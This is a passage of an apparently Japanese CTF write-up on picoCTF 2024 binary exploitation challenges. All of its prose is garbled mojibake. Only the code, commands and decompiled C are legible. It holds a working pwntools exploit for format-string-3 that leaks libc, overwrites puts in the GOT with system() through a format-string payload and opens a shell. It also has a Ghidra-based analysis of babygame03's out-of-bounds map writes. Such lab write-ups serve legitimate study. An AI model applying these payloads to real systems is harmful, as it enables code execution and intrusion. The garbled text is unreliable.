- 第2å¼æ° writesï¼æ¸ãè¾¼ã¿å
ã®ã¢ãã¬ã¹ã¨å¤ã®è¾æ¸ãä»åã¯ã0x402008 ã«ãä¾ãã°ã0x47414c46ï¼FLAGï¼ãæ¸ãããã®ã§ã
{0x402008: 0x47414c46}
ã«ãã¾ã
- 第3å¼æ° numbwrittenï¼printfé¢æ°ãæ¢ã«åºåãããã¤ãæ°ãä»å㯠0 ã§ã
- 第4å¼æ° write_sizeï¼ä½byteãã¤æ¸ãè¾¼ããï¼int or short or byteï¼ã大ãããªããããªã®ã§ short ã«ãã¾ãã
ã¾ããx86-64 ãè¨å®ãã¾ããä½ããããã¤ãã¼ããè¦ãã¨ãä¸ä½16bitï¼0x4c46ï¼ã®æ¹ããä¸ä½16bitï¼0x4741ï¼ãã大ããã®ã§ãå
ã«ãä¸ä½16bitããæå®ãã¦ãã¾ãã
>>> context.binary = '/bin/bash'
[*] '/bin/bash'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
>>> context.arch, context.bits
('amd64', 64)
>>> fmtstr_payload(offset=38, writes={0x402008: 0x47414c46}, numbwritten=0, write_size="short"
)
b'%19526c%42$lln%64251c%43$hnaaaab\x08 @\x00\x00\x00\x00\x00\n @\x00\x00\x00\x00\x00'
>>> fmtstr_payload(offset=38, writes={0x402008: 0x47414c46}, numbwritten=0, write_size="short").hex()
'25313935323663253432246c6c6e2536343235316325343324686e616161616208204000000000000a20400000000000'
ã§ã¯ã試ãã¦ã¿ã¾ãããã¼ããã»ã°ã¡ã³ãã¼ã·ã§ã³ãã©ã¼ã«ããçºçãã¾ãã
$ python -c 'from pwn import *; context.bits=64; print(fmtstr_payload(offset=38, writes={0x402008: 0x47414c46}, numbwritten=0, write_size="short").decode("utf-8"))' | ./format-string-3
ï¼éä¸ãçç¥ï¼
Segmentation fault
ãformat string 2ãã§è©¦ãã¦ã¿ã¾ãããã¾ãããã¾ããã
$ python -c 'from pwn import *; context.bits=64; print(fmtstr_payload(offset=14, writes={0x404060: 0x67616c66}, numbwritten=0, write_size="short").decode("utf-8"))' | ./vuln
You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?
Here's your input:
ï¼éä¸ãçç¥ï¼
I have NO clue how you did that, you must be a wizard. Here you go...
picoCTF{FLAGFLAGFLAG}
ããåããã¾ãããééãã¦ã¾ããã0x402008 ã¯ãnormal_string ã«æ ¼ç´ããã¦ããã¢ãã¬ã¹ã§ããã"/bin/sh" ãæ ¼ç´ããã¦ããã¢ãã¬ã¹ãªã®ã§ããããæ¸ãæããã¨ãããã¨ã¯ãconsté åãæ¸ãæãããã¨ã«ãªãããã§ããããã㯠Read Only ãªã¯ããªã®ã§ç¡çã§ãããã§ã¯ã代ããã«ãnormal_string ã«æ ¼ç´ããã¦ããã¢ãã¬ã¹ãæ¸ãæããããã«ãã¾ãã0x402008 ãæ ¼ç´ããã¦ããã®ã§ãããã 2byte ãããã¦ã0x40200a ã«æ¸ãæãã¾ãã
"/b" ãæ¶ãã¦ã2byteé²ãã ã¨ãããã表示ããã¾ãããæ³å®éãã§ãã
$ python -c 'from pwn import *; context.bits=64; print(fmtstr_payload(offset=38, writes={
0x404048: 0x40200a}, numbwritten=0, write_size="short").decode("utf-8"))' | ./format-string-3
Howdy gamers!
Okay I'll be nice. Here's the address of setvbuf in libc: 0x7f7af9fa73f0
ï¼éä¸ãçç¥ï¼
in/sh
ä½åãããã¨ãæ°ããªãã¦ããã®ã§ä¾¿å©ã§ãããå®è£
ãã Pythonã¹ã¯ãªããã¯ä»¥ä¸ã§ãã
import os, sys
from pwn import *
context.bits = 64
adrs = '127.0.0.1'
port = 4000
setbuf_raddr = 0x7a3f0
system_raddr = 0x4f760
puts_got = 0x404018
proc = remote( adrs, port )
print( proc.recvline() )
ret = proc.recvline()
print( ret )
ret = ret.decode( 'utf-8' )
assert "setvbuf" in ret, f"ret={ret}"
idx = ret.index("libc")
setbuf_aaddr = int( ret[idx + 6:], base=16 )
print( f"setbuf_aaddr={setbuf_aaddr}" )
libc_base = setbuf_aaddr - setbuf_raddr
system_aaddr = libc_base + system_raddr
payload = fmtstr_payload( offset=38, writes={puts_got: system_aaddr}, numbwritten=0, write_size="short" )
proc.send( payload )
proc.interactive()
å®è¡ãã¾ãã
$ python tmp.py
[+] Opening connection to 127.0.0.1 on port 4000: Done
b'Howdy gamers!\n'
b"Okay I'll be nice. Here's the address of setvbuf in libc: 0x7f504fe933f0\n"
setbuf_aaddr=139982914794480
[*] Switching to interactive mode
$ ls
ï¼éä¸ãçç¥ï¼
atk.bin
flag.txt
format-string-0
format-string-0.c
format-string-1
format-string-1.c
format-string-3
format-string-3.c
heap0
heap1
heap2
heap3
ld-linux-x86-64.so.2
libc.so.6
peda-session-chall.txt
peda-session-format-string-1.txt
peda-session-format-string-3.txt
peda-session-vuln.txt
pwnable.log
pwnable.py
secret-menu-item-1.txt
secret-menu-item-2.txt
tmp.py
vuln
vuln.c
ã·ã§ã«ãåãã¾ããããµã¼ãã§ãåãããã«ããã¨ãã«ã¬ã³ããã£ã¬ã¯ããªã« flag.txt ããããcat ããã¨ããã©ã°ã表示ããã¾ããã
format stringã·ãªã¼ãºãå®äºãã¾ããã
babygame03ï¼400ãã¤ã³ãï¼
ã¤ãã«ãHard ã®åé¡ã§ãããã¤ããªãã¡ã¤ã«ï¼gameï¼ã 1ã¤ã ããã¦ã³ãã¼ãã§ãã¾ããã¾ããã¤ã³ã¹ã¿ã³ã¹ï¼ãµã¼ãï¼ãèµ·åã§ãã¾ããä»åã¯ã½ã¼ã¹ã³ã¼ããæä¾ãã¦ãããªãããã§ãã
表層解æã§ããã·ã³ãã«ã¯æ®ã£ã¦ãã¾ãã32bitããã°ã©ã ã§ãã¡ã¢ãªå®è¡ä¸å¯ã§ãããã°ã©ã ã®ã¢ãã¬ã¹ã©ã³ãã åã¯ç¡å¹ã§ãã
$ file game
game: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=a029dc18edaa968bc97e9c92c73151ae8155edaf, for GNU/Linux 3.2.0, not stripped
$ checksec --file=game
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 60 Symbols No 0 2 game
Ghidra ã§éã³ã³ãã¤ã«ãã¾ããmainé¢æ°ã¨ winé¢æ°ã¯ä»¥ä¸ã§ããå¤æ°åã¯åãããããååã«å¤ãã¦ãã¾ãã
winé¢æ°ã«è¡ãã«ã¯ãdo while ãæããå¿
è¦ãããã¾ãããã®æ¡ä»¶ã¯ãtate ã 0x1dããã¤ãyoko ã 0x59ããã¤ãlevel ã 5ããã¤ãlocal_14 ã 4 ã¨ãªããã¨ã®ããã§ãã
2段éããããã§ã1段éç®ãçªç ´ããã«ã¯ãtate ã 0x1dããã¤ãyoko ã 0x59ããã¤ãlevel ã 4 ã§ã¯ãªããã¨ãªããã¨ãå¿
è¦ã®ããã§ãã
undefined4 main(void)
{
int iVar1;
int level;
int tate;
int yoko;
undefined map [2700];
char input;
int local_14;
undefined *local_10;
local_10 = &stack0x00000004;
init_player(&tate);
level = 1;
local_14 = 0;
init_map(map,&tate,&level);
print_map(map,&tate,&level);
signal(2,sigint_handler);
do {
iVar1 = getchar();
input = (char)iVar1;
move_player(&tate,(int)input,map,&level);
print_map(map,&tate,&level);
if (((tate == 0x1d) && (yoko == 0x59)) && (level != 4)) {
puts("You win!\n Next level starting ");
local_14 = local_14 + 1;
level = level + 1;
init_player(&tate);
init_map(map,&tate,&level);
}
} while (((tate != 0x1d) || (yoko != 0x59)) || ((level != 5 || (local_14 != 4))));
win(&level);
return 0;
}
void win(int *level)
{
char local_4c [60];
FILE *local_10;
local_10 = fopen("flag.txt","r");
if (local_10 == (FILE *)0x0) {
puts("Please create \'flag.txt\' in this directory with your own debugging flag.");
fflush(_stdout);
exit(0);
}
fgets(local_4c,0x3c,local_10);
if (*level == 5) {
printf(local_4c);
fflush(_stdout);
}
return;
}
ç¶ãã¦ãinit_playeré¢æ°ãinit_mapé¢æ°ãprint_mapé¢æ°ãmove_playeré¢æ°ã§ãã
void init_player(undefined4 *player)
{
*player = 4;
player[1] = 4;
player[2] = 0x32;
return;
}
void init_map(int map,int *player,int *level)
{
int iVar1;
int local_14;
int local_10;
local_10 = 0;
do {
if (0x1d < local_10) {
return;
}
for (local_14 = 0; local_14 < 0x5a; local_14 = local_14 + 1) {
if ((local_10 == 0x1d) && (local_14 == 0x59)) {
*(undefined *)(map + 0xa8b) = 0x58;
}
else if ((local_10 == *player) && (local_14 == player[1])) {
*(undefined *)(local_14 + map + local_10 * 0x5a) = player_tile;
}
else {
iVar1 = rand();
if (local_10 == iVar1 % *level) {
iVar1 = rand();
if (local_14 == iVar1 % *level) {
*(undefined *)(local_14 + map + local_10 * 0x5a) = 0x23;
goto LAB_08049301;
}
}
*(undefined *)(local_14 + map + local_10 * 0x5a) = 0x2e;
}
LAB_08049301:
}
local_10 = local_10 + 1;
} while( true );
}
void print_map(int map,undefined4 player,undefined4 level)
{
int local_14;
int local_10;
clear_screen();
find_player_pos(map,level);
find_end_tile_pos(map);
print_lives_left(player);
for (local_10 = 0; local_10 < 0x1e; local_10 = local_10 + 1) {
for (local_14 = 0; local_14 < 0x5a; local_14 = local_14 + 1) {
putchar((int)*(char *)(local_14 + map + local_10 * 0x5a));
}
putchar(10);
}
fflush(_stdout);
return;
}
void move_player(int *player,char input,int map,undefined4 level)
{
int iVar1;
if (player[2] < 1) {
puts("No more lives left. Game over!");
fflush(_stdout);
exit(0);
}
if (input == 'l') {
iVar1 = getchar();
player_tile = (undefined)iVar1;
}
if (input == 'p') {
solve_round(map,player,level);
}
*(undefined *)(*player * 0x5a + map + player[1]) = 0x2e;
if (input == 'w') {
*player = *player + -1;
}
else if (input == 's') {
*player = *player + 1;
}
else if (input == 'a') {
player[1] = player[1] + -1;
}
else if (input == 'd') {
player[1] = player[1] + 1;
}
if (*(char *)(*player * 0x5a + map + player[1]) == '#') {
puts("You hit an obstacle!");
fflush(_stdout);
exit(0);
}
*(undefined *)(*player * 0x5a + map + player[1]) = player_tile;
player[2] = player[2] + -1;
return;
}
å®éã«åããã¦ã¿ã¾ããwasd ãæ¼ãã¦ã¿ã¾ããwãsãaãdãã¼ã§ãã¬ã¼ã¤ã移åãããã¿ããã§ãããw ãâãsãâãaãâãdãâ ã®ããã§ãã
ãã®ãããã¯ã横㫠90ãã¹ã縦㫠30ãã¹ããããã§ãã座æ¨ã¯ãå·¦ä¸ãï¼0, 0ï¼ã§ãå³ä¸ã«åãã£ã¦å¢ãã¦ããã¾ããinit_playeré¢æ°ã§ããã¬ã¼ã¤ã®ä½ç½®ï¼4, 4ï¼ã¨ãã©ã¤ãï¼50ï¼ãåæåããã¾ãã
#
ãã´ã¼ã«ãªã®ããX
ãã´ã¼ã«ãªã®ãã#
ãç®æãã¦ã¿ã¾ãã#
ã«å½ããã¨ãYou hit an obstacle!
ã¨è¨ããã¦çµäºãã¾ããã
X
ãç®æãã¦ã¿ãã¨ãéä¸ã§ãNo more lives left. Game over!
ã¨è¨ããã¾ãããåããéã«éããããããã§ãã
1段éç®ã®æ¡ä»¶ã¯ãX
ã«ãã©ãã¤ããã¨ã®ããã§ãã
ãã¨ãlãã¼ã¨ãpãã¼ã使ããããã§ãããlãã¼ã¯ããã¬ã¼ã¤ä½ç½®ã® @ ãã¼ã¯ãå¤æ´ã§ããã ãã®ããã«è¦ãã¾ããpãã¼ã¯ãsolve_roundé¢æ°ãå¦çããã¾ããèªåã§åä½ããé¢æ°ã®ããã§ãã
ã¾ã¨ãã«æä½ãã¦ããX ã«ãã©ãã¤ãã®ã¯é£ããã§ãããsolve_roundé¢æ°ãæ°ã«ãªãã¾ãã
$ ./game
Player position: 4 4
Level: 1
End tile position: 29 89
Lives left: 50
..........................................................................................
..........................................................................................
..........................................................................................
....@.....................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
.........................................................................................X
solve_roundé¢æ°ã§ããã¤ãã§ã«ãfind_player_posé¢æ°ãfind_end_tile_posé¢æ°ãprint_lives_lefté¢æ°ãclear_screené¢æ°ã§ããããã¤ãå¤æããå¤æ°ã¯ååãå¤æ´ãã¦ãã¾ããsolve_roundé¢æ°ã¯ãèªåã§æä½ãã¦ãããé¢æ°ã§ããããã
int solve_round(undefined4 map,int *player,undefined4 level)
{
int iVar1;
while (player[1] != 0x59) {
if (player[1] < 0x59) {
move_player(player,100,map,level);
}
else {
move_player(player,0x61,map,level);
}
print_map(map,player,level);
}
while (*player != 0x1d) {
if (player[1] < 0x1d) {
move_player(player,0x77,map,level);
}
else {
move_player(player,0x73,map,level);
}
print_map(map,player,level);
}
sleep(0);
iVar1 = *player;
if (iVar1 == 0x1d) {
iVar1 = player[1];
}
return iVar1;
}
void find_player_pos(int map,undefined4 *level)
{
int local_14;
int local_10;
local_10 = 0;
do {
if (0x1d < local_10) {
return;
}
for (local_14 = 0; local_14 < 0x5a; local_14 = local_14 + 1) {
if (*(char *)(local_14 + map + local_10 * 0x5a) == player_tile) {
printf("Player position: %d %d\n",local_10,local_14);
printf("Level: %d\n",*level);
return;
}
}
local_10 = local_10 + 1;
} while( true );
}
void find_end_tile_pos(int map)
{
int local_14;
int local_10;
local_10 = 0;
do {
if (0x1d < local_10) {
return;
}
for (local_14 = 0; local_14 < 0x5a; local_14 = local_14 + 1) {
if (*(char *)(local_14 + map + local_10 * 0x5a) == 'X') {
printf("End tile position: %d %d\n",local_10,local_14);
return;
}
}
local_10 = local_10 + 1;
} while( true );
}
void print_lives_left(int player)
{
printf("Lives left: %d\n",*(undefined4 *)(player + 8));
return;
}
void clear_screen(void)
{
printf("\x1b[2J");
fflush(_stdout);
return;
}
solve_roundé¢æ°ã® 2åç®ã® while ã®æ¡ä»¶ãå¤ã ã¨æãã¾ãããé¢ä¿ãªãããã§ããã ãããåãã£ã¦ãã¾ããããããã®ç¯å²ããã§ãã¯ãããªãã®ã§ãè¶
ãã¦ãé²ãã¦ãã¾ãã¾ãããããããã®ç¯å²ãè¶
ãã¦ãä»»æã®ãã¼ã¯ã§å¤ãæ¸ãæããã¨ãããã¨ã ã¨æãã¾ãï¼
ã¡ãªã¿ã«ãå·¦ã«éåãã«é²ãã§ããã¤ãã¹ã«ããã¨ã表示ä¸ã¯ã´ã¼ã«ã«çãã¾ããã座æ¨ã¨ãã¦ã¯ãã¤ãã¹ã¨ãªã£ã¦ãã¾ããæ¡ä»¶ã® ä¸æ¹å 29ãå³æ¹å 89 ã¨ã¯ãªããªãã®ã§ãã´ã¼ã«å¤å®ã«ãªãã¾ããã§ããããã¾ãåºæ¥ã¦ã¾ããï¼ç¬ï¼ã
ã¹ã¿ãã¯ã®åæãè¡ãã¾ããã¹ã¿ãã¯ã¯ mainé¢æ°ã®å
é ã§ã0xab0ï¼2736byteï¼ç¢ºä¿ããã¾ãã
ã¢ãã¬ã¹ |
ãµã¤ãº |
å
容 |
ebp |
|
|
ebp - 0xcï¼12byteï¼ |
4 |
local_14 |
ebp - 0xa99ï¼2713byteï¼ |
2700 |
ããã |
ebp - 0xaa8ï¼2728byteï¼ |
12ï¼15ï¼ï¼ |
ä¸åãã®ãªãã»ãããå³æ¹åã®ãªãã»ãããã©ã¤ã |
ebp - 0xaacï¼2732byteï¼ |
4 |
ã¬ãã« |
ã¾ããã©ã¤ããæ¸ãæãã¦ã¿ã¾ãã
左㫠4+7ï¼aaaaaaaaaaa
ï¼è¡ã£ã¦ãä¸ã« 3+1ï¼wwww
ï¼è¡ãã¾ããããã«ã©ã¤ããããã¯ãã§ããããã大ããªå¤ï¼lz
ï¼ã«æ¸ãæãã¾ããããã¾ã§ãã£ãã¨ããã§æ³å®å¤ãããã¾ãããä½ã«æ¸ãæãã¦ã 0x2eï¼.
ï¼ã«æ¸ãæ»ããã¦ãã¾ãã¾ããããã¯åº§æ¨ãä»»æã®ä½ç½®ã«ãããã¨ã¯é£ããã¨æãã¾ãã
ã¨ããããã§ãlãã¼ã¯ä½¿ããªãã®ã§ãã©ã¤ãã®æä¸ä½ãã¤ãã 0x2eï¼.
ï¼ã«ãã¦ãã©ã¤ããã¨ã¦ã大ããå¤ã«ãã¦ã¿ã¾ãã左㫠4+4ï¼aaaaaaaa
ï¼è¡ã£ã¦ãä¸ã« 3+1ï¼wwww
ï¼è¡ã£ã¦ãä¸ã« 1ã¤æ»ãã¾ãï¼s
ï¼ãã¤ã¾ããaaaaaaaawwwws
ã§ãããã£ã¦ã¿ã¾ããã©ã¤ãã 771751972 ã«ãªãã¾ããï¼
ãã¨ã¯ãd 㨠s ã§ã´ã¼ã«ã¾ã§è¡ãã°ã¯ãªã¢ã§ããããï¼ã¯ãªã¢ã§ãã¾ãããGDB ã§è¦ã¦ã¿ã¾ãããã横æ¹åã®åº§æ¨ããã¤ãã¹ã®ã¾ã¾ã§ãããå³æ¹åã«ä¸å¨ãã¾ããGDB ããªã¿ã¼ã³ãã¼ãæ¼ãã¨ãç´åã®ã³ãã³ããç¹°ãè¿ãã¦ãããæ©è½ãã¨ã¦ããããããã§ããä¸å¨ããã¨ã´ã¼ã«ã§ãã¾ãããã¬ãã« 2ã§ãï¼
ãããã®é害ç©ã®ä½ç½®ãå³ã«ä¸ã¤ããã¾ãããä¹±æ°ã使ã£ã¦ããããªã®ã§ããã¾ãã¾ã§ãããããåºæ¬ã¯åãæ¹æ³ã§ãããã¨æãã¾ãããããããã¡ãã¡æä½æ¥ã§ã´ã¼ã«ã«åããã®ã¯å¤§å¤ã§ããpãã¼ã®æ©è½ã使ã£ã¦ã¿ã¾ããaaaaaaaawwwwsp
ã§ããã ãã¶æ¥½ã¡ãã§ãããã®å
¥åãç¹°ãè¿ãã°ã¯ãªã¢ã§ãããã§ãã
ã¬ãã« 4 ã¾ã§æ¥ã¾ããããå
ã«é²ãã¾ãããæ¡ä»¶æãè¦ç´ãã¨ãã¬ãã« 4 ã®ã¨ãã¯ãæå¾ã® while ã®æ¡ä»¶ãçªç ´ããå¿
è¦ãããããã§ããtate 㨠yoko ã®æ¡ä»¶ã¯æºããã¦ãã¾ãããã¬ãã« 5 ã¨ãlocal_14 ã®æ¡ä»¶ãæºããã¦ãã¾ãããlocal_14 ã¯ãã¬ãã« - 1 ã§ããã両æ¹åæã«ä¸ããã°ã¯ãªã¢ã§ãããã§ãããã¬ãã«ãã¤ã³ã¯ãªã¡ã³ããã ifæã®ä¸ã«å
¥ãã¾ããã
ãããããã£ã¦ã¿ã¾ããããã¡ãã£ã¨åããã¾ãããã®ãã¢ãããã¾ãã
ä»ã®æ¹ã® writeup ãå°ãè¦ããã¦ããã£ãã¨ããããªã¿ã¼ã³ã¢ãã¬ã¹ãæ¸ãæãã¦ãã¸ã£ã³ãããããã§ãããªãã»ã©ã§ãããªã¿ã¼ã³ã¢ãã¬ã¹ã®æ¸ãæãã¯æãã¤ãã¾ããã§ããããã¯ããHard åé¡ã¯ãé£ããã£ãã§ãã
ç¾æ®µéã§ã¯ãMedium åé¡ã¯ãä½ã¨ã解ãããã§ãããHard åé¡ã¯ãããå°ããã£ããåãçµãå¿
è¦ãããã¾ããæå¾ã®æ¹ã¯ãã¬ãã£ã¬ãã£ãã£ã¦ãæãããã£ã¦ããããªãã£ãã¨æãã¾ãã
high frequency troublesï¼500ãã¤ã³ãï¼
æªçæã§ãã
ãããã«
ä»åã¯ãpicoCTF ã® picoCTF 2024 ã®ãã¡ãBinary Exploitation ã¨ããã«ãã´ãªã®å
¨10åãããããã£ãã®ã§ãããæå¾ã® 2åã¯ã ãã¶ã¬ãã«ãé«ãã£ãã§ããæå¾ã® 1åã¯ãããå°ãçµé¨ãç©ãã§ãããã£ã¬ã³ã¸ãããã¨æãã¾ãã
次ã¯ãpicoCTF 2024 ã® Reverse Engineering ã«ææ¦ãã¦ã¿ããã¨æãã¾ãã
æå¾ã«ãªãã¾ããããã¨ã³ã¸ãã¢ã°ã«ã¼ãã®ã©ã³ãã³ã°ã«åå ä¸ã§ãã
æ°æ¥½ã«ãããã¨ãããããé¡ããããã¾ãð
ä»åã¯ä»¥ä¸ã§ãï¼
æå¾ã¾ã§ãèªã¿ããã ãããããã¨ããããã¾ããã